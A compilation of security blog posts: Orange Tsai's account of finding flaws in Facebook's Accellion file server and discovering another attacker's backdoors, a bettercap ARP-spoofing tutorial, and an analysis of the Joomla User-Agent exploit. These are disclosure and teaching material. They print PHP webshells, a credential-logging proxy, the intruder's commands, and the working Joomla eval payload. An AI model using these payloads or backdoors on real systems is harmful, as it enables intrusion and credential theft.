從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。


這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )


Timeline

  • 2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊
  • 2016/02/05 20:08 收到機器人自動回覆
  • 2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
  • 2016/02/06 07:42 收到 Thomas 的回覆,告知調查中
  • 2016/02/13 07:43 收到 Reginaldo 的回覆,告知 Bug Bounty 獎金 $10000 USD
  • 2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
  • 2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
  • 2016/02/18 收到 Reginaldo 的回覆,告知正在進行調查中,希望 Blog 先暫時不要發出
  • 2016/02/24 收到 Hai 的回覆,告知獎金將會於三月發送
  • 2016/04/20 收到 Reginaldo 的回覆,告知調查已完成

How I Hacked Facebook, and Found Someone's Backdoor Script

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <( ̄︶ ̄)>

Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.

With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:

  • What can I find by Google Hacking?
  • How many B Class IP addresses are used? How many C Class IPs?
  • Whois? Reverse Whois?
  • What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
  • What are their preferred techniques and equipment vendors?
  • Any data breach on Github or Pastebin?
  • …etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.

  1. For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
  2. Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
  3. Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:

tfbnw.net

TFBNW seemed to stand for “TheFacebook Network
Then I found bellow server through public data

vpn.tfbnw.net

WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.


Vulnerability Discovery

I found a special server among these C Class IPs.

files.fb.com

files.fb.com ↑ Login Interface of files.fb.com


Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

  1. Web-based user interfaces were mainly composed of Perl & PHP
  2. The PHP source codes were encrypted by IonCube
  3. Lots of Perl Daemons in the background

First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…

After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!

Finally, I found 7 vulnerabilities, including

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

More details will be published after full disclosure policy!

shell on facebook ↑ Using Pre-Auth SQL Injection to Write Webshell


After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P

There are some restrictions on the server:

  1. Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
  2. Remote Syslog server
  3. Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.


Was There Something Strange?

While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.

First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log
These error messages seemed to be caused by modifying codes online?

PHP error log ↑ PHP error log


I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

Webshell on facebook server ↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// blah blah blah...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// blah blah blah...

The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc

In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login

  1. Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
  2. All Facebook employees (@fb.com) used LDAP and authenticated by AD Server

I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

  1. The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
  2. When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen


From access.log, every few days the hacker will clear all the credentials he logged

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


Packing files

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


Enumerating internal network architecture

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


Use ShellScript to scan internal network but forgot to redirect STDERR XD Port Scanning

Attempt to connect internal LDAP server

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


Attempt to steal SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

certificate of files.fb.com


Epilogue

After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD

Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September

the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.


Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P

Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )



Timeline

  • 2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
  • 2016/02/05 20:08 Receive automatic response
  • 2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
  • 2016/02/06 07:42 Receive response from Thomas that inspection is in progress
  • 2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
  • 2016/02/13 Asking if there anything I should pay special attention to in blog post ?
  • 2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
  • 2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
  • 2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
  • 2016/04/20 Receive response from Reginaldo about the forensics investigation is done

Intro to ARP spoofing with bettercap

By: geri
15 February 2016 at 08:01

I recently discovered a fairly new man-in-the-middle tool called bettercap, which I will test in this video. I will explain the concept of ARP spoofing, install bettercap, and see how one can use it to sniff passwords on a network.

Here it is:

If you liked it, checkout my other trainings:
http://hackademy.aetherlab.net

If you need here is the full transcript of the video:

Hello there. My name is Gergely Revay or Geri. Today I’m gonna talk about bettercap. This is a new tool I found recently and it got my attention because it’s a man in the middle tool. And we talk about man in the middle attacks all the time like in an assessment when we say it’s bad to send stuff unencrypted on the network because a man in the middle attacker can then sniff your network and find out your passwords or anything. When I found this tool, I thought this would be a good opportunity to play a little bit with man in the middle attacks. So what I’m gonna do today is introduce bettercap, talk a little bit about network sniffing and ARP poisoning for those people who don’t really know what that is and how it works, and then we’ll install and try bettercap, the basic features. We’ll sniff network a little bit to find some passwords and talk about what bettercap is capable of.

So let’s start with the installation. So you can see here already, I have the bettercap website on my screen. And basically the installation is not that difficult because you can just use Ruby GEM to install. Bettercap is actually a full Ruby application and you can extend it in Ruby. So it’s good for you if you know Ruby well. Now, the installation is also documented in the website so you can check it out and also do it yourself. So let’s go to a terminal. First, I’m gonna install the dependencies, which some of it is already installed in Kali but I’m not gonna check exactly and just go on with the installation. And then it’s build essential Ruby development packages and libpcap for manipulating traffic. Yeah. So now we have the dependencies. Then let’s get on with the installation of bettercap. And it’s gem install bettercap. It’s gonna take a little bit so just be patient. Okay, the installation is ready so let’s see if we can execute it. Yes. So that’s how it works. That’s a good start.

Now, before I start getting into bettercap, I will just explain quickly how this network sniffing works, how ARP poisoning works, etc. For that, let me draw for you. So what happens here, I’m gonna use two computers, the Kali what you’ve seen and a Windows 8 machine. These are both virtual machines and they’re both on the same network. So what it essentially means is that we have Internet there. And then I have a router here. I have here my Kali and I have here my victim. So normally the victim communicates with the router directly and then that goes to the Internet.That goal that we want to reach is that this communication goes to Kali and then to the router. Now, bettercap offers different methods to do this. What we are gonna use is ARP poisoning, which means that Kali has a MAC address here. It’s called MAC K, let’s call it this way. He has a MAC V, and this has a MAC R. So these are normal MAC addresses that you already know. When the victim wants to go to the Internet, he has to first send the packets to the router. So what he will ask, he will know the IP address of the router, but he wants to find out what the MAC address for that IP address so that he can send the packet. He will ask the network what is the MAC address for that particular IP address.
Now, what bettercap does is whenever such a request happens, then he will always respond hopefully as the first responder. He always say that my MAC address is for that IP. So whenever the victim or the router or anybody else on this network asks for IP address or asks for the MAC address of an IP address, our attacker with bettercap will always say that my MAC address is related to this IP address. That way, basically, the victim is gonna think that on the network he has to send his packet first here because he will think that this is the router and then bettercap will relay this packet to the router but also when a packet comes back, the router will also think — because he will also request a MAC address – he will also think that Kali or bettercap is the victim. And then Kali will just relay again the packet to the victim. So we basically reached our goal here. Because of this ARP spoofing or ARP poisoning, all packets will cross our Kali machine through bettercap and then from this point on, basically bettercap is able to do whatever he wants with those packets. Bettercap also offers different tools to do different things with the traffic, but what we’re gonna try is just to look at the traffic find valuable information like passwords. So I hope that’s clear now, and I will just move on to working with bettercap and see how we can actually do a man in the middle attack.

So let’s look at our target first or our victim. So what I’m gonna try to do is to try to intercept the traffic of this victim. We are gonna try to intercept the HTTP traffic to a particular website is cheezburger.com. I chose this website mostly because I don’t use tis application. So we can login here. I will just do it first as a normal user, and then we will try to intercept that again with bettercap. So the user is [email protected]. This is my old website. Okay, you see I successfully logged in. Now we’re gonna try to intercept the same thing with bettercap. So I’ll log out, even close my browser.

So now what we have to do is to come back to Kali and start bettercap with the proper configuration to do the spoofing for us. So first we need bettercap. And then we want to sniff the network so we use the sniffer. And then as I said, you can use different techniques for spoofing. The default is the ARP spoofing, but I will specify it here anyway so you just have it on the comment line. And since we are gonna work with HTTP and HTTPS traffic probably, I will use the HTTP and HTTPS proxies offered by bettercap. And for that, you say proxy http and minus minus proxy https. And there are different parsers in bettercap. What I’m gonna use now is the custom parser. And I will look for something like “password” in the traffic. And then we hope that the password for Cheezburger.com is gonna be called by bettercap.

So let’s start the sniffing. What you see here is that bettercap started. First it tries to figure out the targets on the networks so which one is the gateway, which one’s on the other machine on the network so that he can spoof these machines on the network. Because we chose the HTTPS proxy, it will also generate a certificate for itself to try to avoid recognition. Of course, this is not a real valid Google.com certificate. It’s a fake, but it could be useful. So let’s go back to the victim’s machine. Let’s load Cheezburger. Now you see there are already lots of things happening here. You see all this content because that’s HTTP and that’s what we are looking for. You can also see that it’s from many different places. The thing is that the website is just full of different content from different websites so that’s why the requests go to basically everywhere all around the Internet and not only to Cheezburger.com.

Let’s try to login. So the user is [email protected]. Okay, and I will just quickly change back to Kali. Again, lots of things happened. Let’s just try to find our password. This looks interesting. This is a GET request to the LoginOrRegister service. And if you look through for the password, whatever, whatever, oh, here is, this is the e-mail address. So this is username. And oh, what we can see here is the password, and this is actually the password I used. So it worked out. Of course, you know, you have to really look at the traffic. Scroll here, scroll there, but it worked.

Another thing that I would like to mention is that originally I actually wanted to spoof HTTPS traffic, and I started to play with Cheezburger. And it turned out that it uses just HTTP so this password is not even encrypted on the network which is general bad. But yeah, it’s Cheezburger.com so I didn’t have really high expectations. But the point is that our network spoofing was successful. We were able to attract all traffic between the router and the victim computer to Kali, to bettercap. We were able to actually sniff the password of the user during the login. So that’s very good. That was our goal.

One really important thing is that when you close bettercap, you need to gracefully exit which is implemented when you do Ctrl+C because the thing is that ARP poisoning is actually poisoning the ARP cache of the other computers so before you exit, you have to change back the MAC addresses of their caches to the original one. Otherwise, the network will just die for some time until they figure out that the MAC address in the cache is wrong and then request for new MAC addresses. So it’s always important if you do ARP poisoning that you gracefully exit from the tool.

Another thing that I would like to mention is that bettercap is trying to be extensible. So
if you come here to the library and you look around a little bit, then you will see everything that you could use is here and you can start implementing your old things. You can start to implement your own proxy to do like portable things with the request like change the content of the request or change the content of the response automatically so then you don’t have to like look in the logs to find the password. You can just done the password for yourself automatically or you can manipulate every response so that the user sees something else. So there are lots of possibilities here. And I think @evilsocket, the guy who writes bettercap, he did a really good job here. So if you find this interesting, you can start playing with bettercap as well. If you do something cool like write your own proxy tool or any kind of extension, then let me know or comment here so that everybody knows that there’s something new here. Or if you discover something interesting, also just comment on this post. That’s it. I was Geri Revay from Aether Security Labs and take care. Keep hacking. Ciao.

The free Burp Suite training is ready

By: geri
15 February 2016 at 08:00

I have been working on an online Burp Suite training for quite some time. It is finally ready.

It is based on the live Burp Suite workshop I held on conferences and for local meetup groups. You will get to know every module of the free edition of Burp and you will be able to try everything yourself with the WebGoat vulnerable web application. The course covers everything from setting up the test environment to trying most of the functionalities of Burp. It was also reviewed by Portswigger, the company behind Burp and they also mention it on their trainings site, so I guess they approve :). So check it out and don’t hesitate to give me feedback:
http://hackademy.aetherlab.net

Filter unwanted solution cards

4 January 2016 at 11:38

Today we’re releasing the Ignore functionality for your solution cards. That means you can take full control over what type of solutions you’d like to see. Just as importantly, you can now report false positives where needed.

Hide cards you no longer want to see

Imagine you would like to hide the WordPress update card like the one above. All it takes is a simple click on the Ignore button, and it will take you to a wizard-style menu where you can add constraints about ignoring that particular card.

It is possible to hide the card forever, or you can tell the filter to hide just that particular version (note, if a new version of the software gets released, the card will be visible again).

View hidden cards

When you’ve hidden solution cards, they are not really gone. As the word describes, they are just hidden. When one or more cards are no longer visible, an option will be shown to view your hidden cards. They’re present in the same format as regular ones.

If you no longer want a filter to be applied, take a look at the Filters view where you can remove your active filters.

Until next time with a new awesome feature!

In-depth analyses of the Joomla! 0-day User-Agent exploit

17 December 2015 at 16:20

On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.

We’ve developed a PoC which injects a malicious payload executing phpinfo.

Part 1: Unsanitized use of data

The easiest part is getting data into the platform. All modern CMS’ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (You’re better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,…). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.

// File: libraries/vendor/joomla/session/Joomla/Session/Session.php

// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
    $browser = $this->get('session.client.browser');

    if ($browser === null)
    {
        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    }
    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
    {
        // @todo remove code:                           $this->_state   =       'error';
        // @todo remove code:                           return false;
    }
}

The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.

Advice: Always sanitize user input

Part 2: The custom session handler

Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they don’t save it into files, but they save it into the database. This is what happens:

  • A session is started by session_start
  • The read handler is called and returns the session data
  • session_decode is used to decode the current session data.
  • The $_SESSION variable is filled

… Now you can change / add data to your $_SESSION array …

  • A session is closed by session_write_close (or termination of the PHP file)
  • The session variable is encoded by session_encode
  • The write handler is called to save the session data

session_encode / session_decode

This uses a special version of serialize, instead of serializing the full $_SESSION, it serializes the values and groups them together with pipes.

  • source: array(“a” => 5, “b” => 6)
  • serialize: a:2:{s:1:”a”;i:5;s:1:”b”;i:6;}
  • session_encode: a|i:5;b|i:6;

When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.

Joomla session handler

The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.

public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try
    {
        $query = $db->getQuery(true)
            ->update($db->quoteName('#__session'))
            ->set($db->quoteName('data') . ' = ' . $db->quote($data))
            ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.
      $db->setQuery($query);

      if (!$db->;execute())
      {
            return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
         Either the data changed, or the data was identical.
         In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
        return false;
    }
}

Though the following line is crucial to this bug:

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with “\0*\0”.

class CustomClass {
    protected $data = 5;
}
echo serialize(new CustomClass);

Gives you:

O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

But MySQL data can’t save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers don’t allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldn’t be able to serialize the protected variables in a class, however the custom handler makes it possible.

Advice: Don’t reinvent the wheel, use the build-in functions (e.g. session handler).

Part 3: The session_decode bug (CVE-2015-6835)

As I’ve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didn’t check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.

session_decode('user_agent|s:10:"test|i:5;')

Gives you:

array(
    'user_agent' => NULL
    '10:"test"' => 5  // Injected
)

Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.

This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!

Advice: Make sure you always use the latest version of your software

Part 4: Making things easier, MySQL UTF-8 support

As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:

user_agent|s:10:"test|i:5;𝌆";a|i:1;b|i:2;

becomes

user_agent|s:10:"test|i:5;

And we have the required structure to use the session_decode bug.

Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data

Part 5: The search for an executor

Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.

Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.

Summary

This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.

In our examples, we always use phpinfo, the real attack doesn’t embed the code to execute directly, they execute the code that enters the 111 post variable:

eval("base64_decode($_POST[111])")

So most attacks are used with some form of the following User-Agent:

jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";
a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;
s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;
s:8:"feed_url";s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), don’t use them against other sites!

Solution

Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I don’t want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).

Edit

Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.

3.4.6 Fix part 1 by sanitizing user input. The User-Agent isn’t saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP. 3.4.7 Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed.

 

Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.

Introducing webhooks

15 October 2015 at 11:35

PatrolServer webhooks are officially available to all our users. As of today, developers are able to integrate PatrolServer within all their favourite applications. So next to polling the results of our scans with our API, we introduce a push mechanism to get information when something has changed.

What are webhooks?

